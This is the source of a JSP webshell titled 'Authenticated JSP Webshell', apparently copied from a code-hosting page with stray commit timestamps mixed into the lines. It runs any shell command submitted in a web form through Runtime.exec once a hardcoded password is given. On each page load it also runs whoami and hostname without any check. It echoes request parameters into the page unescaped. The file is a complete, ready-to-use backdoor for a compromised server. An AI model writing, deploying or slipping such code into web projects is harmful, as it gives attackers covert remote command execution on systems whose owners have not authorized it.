2019-06-28 12:34:03 +02:00
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<%@page import="java.lang.*"%>
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<%@page import="java.util.*"%>
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<%@page import="java.io.*"%>
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<%@page import="java.net.*"%>
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<%!
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2019-06-28 12:37:00 +02:00
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// =====================================================================
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2019-06-28 12:37:49 +02:00
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// Setup global password necessary to pass before using that webshell.
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public String HardcodedPassword = "5eQzrXZHZwJNLvm6Q2b7PR6r";
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2019-06-28 12:37:00 +02:00
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2019-06-28 12:37:49 +02:00
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// =====================================================================
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2019-06-28 12:34:03 +02:00
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2019-06-28 12:37:49 +02:00
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public String execute(String pass, String cmd, Boolean skip) {
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StringBuilder res = new StringBuilder();
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2019-06-28 12:34:03 +02:00
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2019-06-28 12:37:49 +02:00
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if (cmd != null && cmd.length() > 0 && ((skip) || (pass.equals(HardcodedPassword) || HardcodedPassword.toLowerCase().equals("none")))){
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try {
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Process proc = Runtime.getRuntime().exec(cmd);
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OutputStream outs = proc.getOutputStream();
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InputStream ins = proc.getInputStream();
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DataInputStream datains = new DataInputStream(ins);
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String datainsline = datains.readLine();
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2019-06-28 12:34:03 +02:00
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2019-06-28 12:37:49 +02:00
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while ( datainsline != null) {
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res.append(datainsline + "<br/>");
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datainsline = datains.readLine();
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}
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} catch( IOException e) {
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return "IOException: " + e.getMessage();
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}
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}
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else {
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return "Wrong password or no command issued.";
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}
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2019-06-28 12:34:03 +02:00
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2019-06-28 12:37:49 +02:00
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String out = res.toString();
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2019-06-28 12:34:03 +02:00
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if (out != null && out.length() > 5 && out.indexOf("<br/>") != -1) {
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out = out.substring(0, out.length() - 5);
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}
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out = out.replaceAll("(\r\n|\n\r|\n|\r)", "<br/>");
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return out;
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2019-06-28 12:37:49 +02:00
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}
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2019-06-28 12:34:03 +02:00
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%><!DOCTYPE html>
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<html>
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2019-06-28 12:37:49 +02:00
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<head>
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<title>JSP Application</title>
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</head>
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2019-06-28 12:34:03 +02:00
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<body>
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2019-06-28 12:37:49 +02:00
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<h3>Authenticated JSP Webshell.</h3>
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<i style="font-size:12px">You need to provide a valid password in order to leverage this application.</i>
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<br/>
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<font style="font-size:5px" style="font-style:italic;color:grey">coded by <a href="https://github.com/mgeeky">mgeeky</a></font>
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<br/>
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<hr/>
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<form method=post>
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<table style="width:100%; font-size: 12px">
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2019-06-28 12:34:03 +02:00
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<tr>
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<td>OS:</td><td style="width:100%">
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<% out.print(System.getProperty("os.name")); %>
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</td>
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</tr>
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2019-06-28 12:37:49 +02:00
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<tr>
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<td><b style="color:red; font-size:10px">Password:</b></td><td style="width:90%"><input type=password width=40 name="password" value='<% out.print((request.getParameter("password") != null) ? request.getParameter("password") : ""); %>' /></td>
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</tr>
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<tr>
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<td><b style="color:blue; font-size:11px"><% out.print(execute("", "whoami", true) + "@" + execute("", "hostname", true));%></b></td><td style="width:90%"><input type=text size=100 name="cmd" value='<% out.print((request.getParameter("cmd") != null) ? request.getParameter("cmd") : "uname -a"); %>' onClick="" onkeydown="if (event.keyCode == 13) { this.form.submit(); return false; }" /></td>
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</tr>
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<tr>
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<td><input type=submit style="position:absolute;left:-9999px;width:1px;height:1px;" tabindex="-1"/></td><td></td>
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</tr>
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</table>
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</form>
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<hr />
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<pre style="background-color:black;color:lightgreen;padding: 5px 25px 25px 25px;"><%
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if (request.getParameter("cmd") != null && request.getParameter("password") != null) {
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out.println("<br/>server$ " + request.getParameter("cmd") + "<br/>");
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out.println(execute(request.getParameter("password"), request.getParameter("cmd"), false));
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}
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%></pre>
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</body>
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2019-06-28 12:34:03 +02:00
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</html>
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